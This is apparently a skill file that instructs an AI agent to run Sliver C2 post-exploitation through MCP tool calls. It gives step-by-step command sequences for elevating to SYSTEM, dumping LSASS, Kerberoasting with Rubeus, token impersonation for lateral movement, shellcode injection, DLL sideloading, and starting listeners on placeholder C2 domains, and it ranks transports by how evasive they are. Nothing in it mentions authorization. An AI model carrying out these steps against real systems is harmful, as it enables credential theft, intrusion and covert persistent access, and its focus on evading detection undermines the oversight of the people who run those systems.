sliver-c2 · git:20260504.2a64374 · 2026-05-04 · sha256 f2416f76c5a8cd39

sliver-c2 git:20260504.2a64374A

Immutable. This exact content is served forever at /api/v1/blob/f2416f76c5a8cd39.

---
name: sliver-c2
description: Use when operating Sliver C2 implants, managing listeners, or performing post-exploitation via sessions or beacons.
---

# Sliver C2 Post-Exploitation

## Sessions vs Beacons

- **Sessions**: Real-time interactive. Use for active enumeration. Higher detection risk.
- **Beacons**: Async callback with interval + jitter. Use for persistence. Lower detection risk.

Our MCP handles both transparently — `interact(implant_id, implant_type="beacon")` resolves async tasks automatically. Read `docs/sliver/tutorials/2---beacons-vs-sessions.md` for details.

## Orientation (do this first)

```
connect()                                                        # or connect(config_file="...")
get_sessions()                                                   # list live sessions
get_beacons()                                                    # list beacons
interact(implant_id="abc-123", implant_type="session")           # set active target
whoami()                                                         # confirm user context
pwd() / ls()                                                     # confirm position
ps()                                                             # survey processes
ifconfig() / netstat()                                           # map network
```

Always `connect()` first, then `interact()` to set the active target before running implant commands.

## Credential Access

**Dump LSASS** (requires SYSTEM or SeDebugPrivilege):
```
get_system()                                       # elevate first
process_dump(pid=<lsass_pid>)                      # dump memory
```
Find LSASS PID with `ps()`, then use offline tools (mimikatz, pypykatz) on the dump.

**In-memory .NET tooling** via execute_assembly:
```
execute_assembly(assembly_path="/local/Rubeus.exe", arguments="kerberoast /format:hashcat")
execute_assembly(assembly_path="/local/SharpHound.exe", arguments="-c All -d domain.local")
```

**BOFs** — see `docs/sliver/reference/bof-and-coff-support.md`. Install via Sliver's armory, execute via Sliver CLI.

## Lateral Movement

**Token manipulation flow**:
1. `make_token(username="admin", password="pass", domain="DOMAIN")` — create token
2. Do lateral work (file access, registry, etc.)
3. `revert_to_self()` — drop the token

**Other options**: `impersonate(username)`, `run_as(username, process_name, args)`, `get_system()`.

**Pivoting/Tunneling** — not available via our MCP tools, use Sliver CLI:
- TCP/named pipe pivots: `docs/sliver/reference/pivots.md`
- Port forwarding: `docs/sliver/reference/port-forwarding.md`
- SOCKS proxy: `docs/sliver/reference/reverse-socks.md`

## Execution

| Method | Notes |
|--------|-------|
| `execute(exe, args)` | Run binary directly, no shell |
| `execute_assembly(path, args)` | In-memory .NET (Rubeus, Seatbelt, etc.) |
| `execute_shellcode(path, pid=)` | Inject raw shellcode, pid=0 for self |
| `sideload(dll_path, entry_point=)` | Load shared library into sacrificial process |

## C2 Transport Selection

Read the full docs at `docs/sliver/c2/`.

| Transport | Speed | Stealth | Notes |
|-----------|-------|---------|-------|
| mTLS | Fast | Moderate | Encrypted + authenticated, unusual traffic |
| HTTPS | Fast | High | Blends with web, supports domain fronting |
| DNS | Slow | Very high | Tunnels through DNS, extremely evasive |
| WireGuard | Fast | Moderate | VPN-based, good for persistent access |

## Listener Management

```
start_mtls_listener(host="0.0.0.0", port=8888)
start_https_listener(host="0.0.0.0", port=443, domain="cdn.example.com")
start_dns_listener(domains=["c2.example.com"], port=53)
get_jobs()                                         # list active listeners
kill_job(job_id=1)                                 # stop a listener
```

## Implant Management

```
get_implant_builds()                               # list stored builds
regenerate_implant(implant_name="windows-mtls")    # regenerate binary
kill_session(session_id="abc-123")                 # terminate session
kill_beacon(beacon_id="def-456")                   # terminate beacon
```

## Sliver Native MCP

Sliver v1.6+ has built-in MCP support (`docs/sliver/reference/mcp.md`). This provides direct access to ALL Sliver commands. If the native MCP is available, prefer it for commands our wrapper doesn't cover (pivots, SOCKS, port forwarding, armory, implant generation).